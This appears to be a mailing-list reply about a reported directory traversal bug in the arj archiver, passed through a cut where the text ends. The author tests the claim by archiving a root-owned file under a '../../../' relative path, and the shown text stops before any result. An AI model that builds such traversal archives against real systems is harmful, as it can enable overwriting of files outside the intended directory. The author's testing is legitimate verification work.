I know what a directory traversal is. I did a little test run of this "bug." For sanitary reasons, I did not install arj when I compiled it. It was merely moved to ~/test. Here is what I've done to test what you are saying: ---------------<snip>---------------- <window #1> [EMAIL PROTECTED]:/usr/local/bin# touch test.txt [EMAIL PROTECTED]:/usr/local/bin# chown root.root test.txt <window #2> [EMAIL PROTECTED]:~/test$ arj a test.arj ../../../usr/local/bin/test.txt ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
